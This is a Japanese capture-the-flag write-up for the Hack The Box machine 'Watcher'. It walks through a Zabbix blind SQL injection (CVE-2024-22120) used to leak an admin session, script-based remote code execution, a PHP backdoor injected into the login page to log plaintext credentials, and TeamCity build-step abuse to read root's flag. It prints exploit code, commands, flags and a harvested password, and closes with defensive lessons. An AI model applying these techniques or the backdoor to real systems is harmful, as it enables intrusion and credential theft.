Hack The BoxのWriteup(Watcher)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Watcher — 全実行コマンド・実行結果レポート
Nmap スキャン
Zabbix agent/trapper (10050/10051)
zabbix.watcher.vl発見
ffufサブドメイン列挙
guestログイン
sessionid窃取
CVE-2024-22120
trapperプロトコル blind SQLi
Admin sessionid リーク
1クエリ数値エンコーディング
Zabbix Script RCE
script.create/execute → user.txt
index.php バックドア
Frank自動ログイン資格情報窃取
TeamCity ビルドRCE
root権限ビルドエージェント → root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.234.163
nmap -Pn -sV -sC -p 22,80,10050,10051 10.129.234.163
RESULT
PORT      STATE SERVICE        VERSION
22/tcp    open  ssh            OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp    open  http           Apache httpd 2.4.52
|_http-title: Watcher
10050/tcp open  zabbix-agent
10051/tcp open  zabbix-trapper
BASH
echo "10.129.234.163  watcher.vl" | sudo tee -a /etc/hosts

サブドメイン列挙

BASH
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://watcher.vl/ -H "Host: FUZZ.watcher.vl" -fs <baseline_size>
RESULT
zabbix                  [Status: 200]
BASH
echo "10.129.234.163  zabbix.watcher.vl" | sudo tee -a /etc/hosts
ℹ️
zabbix.watcher.vlにZabbixのログイン画面が存在。フッターに バージョン表示があり 7.0.0alpha1 と確認できる。
PHASE 2

Zabbix guest ログインで sessionid を取得

guest ログイン(既定で有効)

BASH
curl -s -i -X POST http://zabbix.watcher.vl/index.php \
  --data "name=guest&password=&autologin=1&enter=Sign+in"
RESULT
Set-Cookie: zbx_session=<URLエンコード>; ...
ℹ️
zbx_session Cookieの値をURLデコード→base64デコードすると {"sessionid":"...", "sign":"..."} というJSONが得られ、 guest自身のsessionidが平文で判明する。
RESULT
guest sessionid = 64e26c81252c97b62ca72e760cd28a51
PHASE 3

CVE-2024-22120 blind SQLi で管理者セッションをリーク → RCE

脆弱性の背景

NOTE
Zabbix trapperプロトコル(TCP 10051)にはAudit Log書き込み処理があり、
"clientip"フィールドの値がサニタイズ不十分なままSQLクエリに
組み込まれる(CVE-2024-22120)。guestのsessionidさえあれば、
未認証に近い立場から time-based blind SQLi を発火できる。
PYTHON (trapperパケット送信の骨格)
import socket, json, struct

message = {
    "request": "command", "sid": guest_sid, "scriptid": "2",
    "clientip": "1' + " + injection_sql + " + '1",
    "hostid": hostid,
}
body = json.dumps(message).encode()
packet = b"ZBXD\x01" + struct.pack("<q", len(body)) + body

sock = socket.create_connection((target, 10051), timeout=15)
sock.sendall(packet)
sock.recv(1024)
sock.close()

最大の障壁: Admin セッションが極めて短命(0.7〜0.9秒)

NOTE
userid=1(Admin、Super Adminロール)のセッションはsessionsテーブルに
極めて短時間(0.7〜0.9秒)しか存在せず、しかも出現間隔が3〜107秒と
不規則。通常の逐次二分探索(32文字×4クエリ)は全く間に合わない。

最終的に到達した解決策は「16進数字1文字を0〜15のインデックスに変換し
sleep(index*0.4秒)を実行させる数値エンコーディング方式」(二分探索の
4リクエストが1リクエストに減る)。sleep()はサブクエリで対象文字を
読み取った"後"に実行されるため、行が読み取られた瞬間さえセッションが
存在すればよく、その後セッションが消えても結果には影響しない。

さらに、セッション有無の確認と文字抽出を1クエリに完全統合した
自己検証型にすることで、2クエリに分割した場合に生じる
「確認→抽出の間にセッションが閉じる」問題を解消した:
SQL (1クエリ1文字確定・自己検証型)
SELECT sleep(
  IF(
    (SELECT count(*) FROM sessions WHERE userid=1) > 0,
    <index> * 0.4,   -- セッションが存在すればインデックス値だけスリープ
    10                -- 存在しなければ明確に外れた10秒スリープ
  )
)
⚠️
クライアント側は8秒(=10-2)でタイムアウトさせ、応答が返らなければ 「セッションが存在しない無効な試行」として同じ文字位置を 再試行する。既知データ(guest自身のsessionid)に対し100%正解を 確認済み。

Admin sessionid のリーク実行

RESULT (実行ログ抜粋)
タイミング較正完了 baseline=0.72s increment=0.78s (jitter=0.31s)
Super Admin userid 特定 → 1
sessionid 文字 26/32 取得 → 0 (1/32)
sessionid 文字 2/32  取得 → 2 (2/32)
...(32文字全て取得)...
32文字抽出完了 (試行1, 所要195秒) → 有効性を検証中...
管理者 sessionid リーク成功 → e29cc8d946f1a3135fe7ceec60d0ff0d
1回目の試行で32文字すべて正しく抽出し、検証(有効なAPIセッション として認証が通るか確認)にも成功した。数値エンコーディング方式に より所要時間はわずか195秒だった。

Zabbix Script 機能で RCE → user.txt

JSON-RPC (script.create)
POST /api_jsonrpc.php
{"jsonrpc":"2.0","method":"script.create",
 "params":{"name":"<random>","command":"whoami",
           "type":0,"execute_on":2,"scope":2},
 "auth":"e29cc8d946f1a3135fe7ceec60d0ff0d","id":0}
JSON-RPC (script.update + script.execute)
{"jsonrpc":"2.0","method":"script.update",
 "params":{"scriptid":"<id>","command":"cat /user.txt"}, ...}

{"jsonrpc":"2.0","method":"script.execute",
 "params":{"scriptid":"<id>","hostid":"10084"}, ...}
RESULT
whoami → zabbix
cat /user.txt → 380b4ab4ba51812267f92b1a3dc131f3
user.txt — zabbix (Zabbix Script RCE)
380b4ab4ba51812267f92b1a3dc131f3
🚨
重要な落とし穴: zabbixシステムユーザは常時 nologinシェルでブロックされており、 ssh zabbix@target "cmd"のようなSSH execコマンドは 毎回 "This account is currently not available." で 即座に拒否される。SSHに頼らず、確立済みのZabbix Script RCE だけで全て完結させる必要がある。
PHASE 4

index.php バックドア化 → TeamCity ビルドRCE → root.txt

index.php のログイン処理をバックドア化

NOTE
zabbixユーザはWebアプリ本体(/usr/share/zabbix/)の所有者。
ログイン成功直後に呼ばれる CSessionHelper::set('sessionid', ...) の
直後に、POSTされたname/passwordを平文でファイルに追記するコードを
挿入する。これにより、誰かがこの画面から実際にログインした瞬間に
その資格情報が窃取できる。
PHP (RCE経由でindex.phpへ注入するパッチスクリプトの骨格)
<?php
if (strpos(file_get_contents('index.php'), 'kcr_backdoor_marker') === false) {
    $c = file_get_contents('index.php');
    $needle = "CSessionHelper::set('sessionid', CWebUser::\$data['sessionid']);";
    $inject = $needle . " /* kcr_backdoor_marker */ "
            . "@file_put_contents('/usr/share/zabbix/kcr_creds.txt', "
            . "'Username: ' . \$_POST['name'] . ' | Password: ' . \$_POST['password'] . \"\n\", "
            . "FILE_APPEND);";
    $c = str_replace($needle, $inject, $c);
    file_put_contents('index.php', $c);
}
BASH (Zabbix Script RCE経由で実行、base64でシェル安全に受け渡し)
cd /usr/share/zabbix && \
  echo <base64_patch_php> | base64 -d > /tmp/kcr_patch.php && \
  php /tmp/kcr_patch.php && \
  grep -c 'kcr_backdoor_marker' index.php
RESULT
1   ← バックドアが正しく1箇所注入されたことを確認

自動ログインするFrankユーザの資格情報を待機

BASH (Zabbix Script RCE経由でポーリング)
cat /usr/share/zabbix/kcr_creds.txt 2>/dev/null
RESULT
Username: Frank | Password: R%)3S7^Hf4TBobb(gVVs
ℹ️
Frankは自動化された定期タスクとして数分おきにこの画面へ ログインを試みており、しばらく待つと資格情報が kcr_creds.txtに記録される。

TeamCity(ローカル限定)へRCE経由でREST API操作

NOTE
TeamCity(127.0.0.1:8111)はtarget自身からしか到達できない。
zabbixがSSHで使えないためローカルポートフォワードも不可 →
Zabbix Script RCE経由でtarget自身からcurlを実行しREST APIを叩く。
Frankの資格情報はこのTeamCityの管理者アカウントとしても機能する。
BASH (すべてZabbix Script RCE経由、target側で実行)
# プロジェクト作成
curl -s -X POST -u 'Frank:R%)3S7^Hf4TBobb(gVVs' \
  -H 'Content-Type: application/json' -H 'Accept: application/json' \
  -d '{"name":"KcrProj...","id":"KcrProj...","parentProject":{"locator":"id:_Root"}}' \
  'http://127.0.0.1:8111/httpAuth/app/rest/projects'

# ビルド設定作成
curl -s -X POST -u 'Frank:...' -H 'Content-Type: application/json' \
  -d '{"name":"KcrBuild","id":"KcrProj..._Build","project":{"id":"KcrProj..."}}' \
  'http://127.0.0.1:8111/httpAuth/app/rest/buildTypes'

# コマンドラインビルドステップ (root.txt を cat するだけ)
curl -s -X POST -u 'Frank:...' -H 'Content-Type: application/json' \
  -d '{"name":"kcr_step","type":"simpleRunner","properties":{"property":[
       {"name":"script.content","value":"cat /root/root.txt"},
       {"name":"teamcity.step.mode","value":"default"},
       {"name":"use.custom.script","value":"true"}]}}' \
  'http://127.0.0.1:8111/httpAuth/app/rest/buildTypes/id:KcrProj..._Build/steps'

# ビルドをトリガー
curl -s -X POST -u 'Frank:...' -H 'Content-Type: application/json' \
  -d '{"buildType":{"id":"KcrProj..._Build"}}' \
  'http://127.0.0.1:8111/httpAuth/app/rest/buildQueue'
TeamCityのビルドエージェントはroot権限で稼働 しているため、コマンドラインステップの内容(cat /root/root.txt)がroot権限で実行され、その出力が ビルドログにそのまま記録される。

ビルドログから root.txt を取得

BASH
curl -s -u 'Frank:R%)3S7^Hf4TBobb(gVVs' \
  'http://127.0.0.1:8111/httpAuth/downloadBuildLog.html?buildId=101'
RESULT (ビルドログ抜粋)
[Step 1/1] Command Line
[Step 1/1] cat /root/root.txt
[Step 1/1] f7af28f2757b85cb3bcf98b58c6519a3
[Step 1/1] Process exited with code 0
root.txt — root (TeamCity Build Agent)
f7af28f2757b85cb3bcf98b58c6519a3
対話シェル/リバースシェル無しに、ビルドログ経由で直接root.txtの 内容を取得できる。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — zabbix
380b4ab4ba51812267f92b1a3dc131f3
root.txt — root
f7af28f2757b85cb3bcf98b58c6519a3

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2024-22120 Zabbix 7.0.0alpha1 Audit Log clientip 未認証に近い立場からのtime-based blind SQLi Critical trapperプロトコル(TCP 10051)のclientipフィールド経由でSQLインジェクション、管理者sessionidをリーク
Zabbix Script機能の悪用 Zabbix Server (hostid=10084) zabbixユーザとしての任意コマンド実行 High リークしたSuper Admin sessionidでscript.create/execute APIを呼びRCE
Webアプリソース改ざん(バックドア) /usr/share/zabbix/index.php 他ユーザの平文資格情報窃取 High zabbixユーザがWebroot全体の所有者であることを悪用しログイン処理にファイル書き込みコードを注入
TeamCityビルドパイプラインRCE ローカルTeamCity (127.0.0.1:8111)、rootで稼働するビルドエージェント root権限でのコマンド実行 High REST APIでコマンドラインビルドステップを作成しビルドを実行、ビルドログから直接root.txtを取得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + ffufサブドメイン列挙zabbix.watcher.vl発見
2初期アクセスZabbix guestログインguest sessionid
3blind SQLiCVE-2024-22120(数値エンコーディング1クエリ抽出)Admin sessionid → RCE → user.txt
4権限昇格index.phpバックドア + TeamCityビルドRCEFrank資格情報 → root.txt

学んだ教訓 & 防御策

問題点防御策
Zabbix trapperプロトコルのclientipフィールドが未サニタイズのままSQLクエリに使われる(CVE-2024-22120) Zabbixを修正済みバージョンへ迅速にアップデートする。trapperポート(10051)への到達性を信頼できるネットワークのみに制限する。
guestアカウントが既定で有効なまま運用されている 本番環境ではguestログインを無効化し、認証必須にする。
Zabbix Script機能が強力すぎ、Super Admin権限があれば事実上任意のOSコマンドを実行できる Script機能の使用を必要最小限のロールに限定し、実行内容を監査ログで厳格に追跡する。
アプリケーションのWeb rootがサービスアカウント所有で書き込み可能なため、RCE獲得後にソースコード自体を改ざんできる Webアプリのソースファイルを読み取り専用でマウントし、実行ユーザーとファイル所有者を分離する。
TeamCityのビルドエージェントがroot権限で稼働している ビルドエージェントは非特権ユーザーで稼働させ、必要な権限のみをsudo許可リスト等で個別付与する。
HackTheBox: Watcher | 完全攻略レポート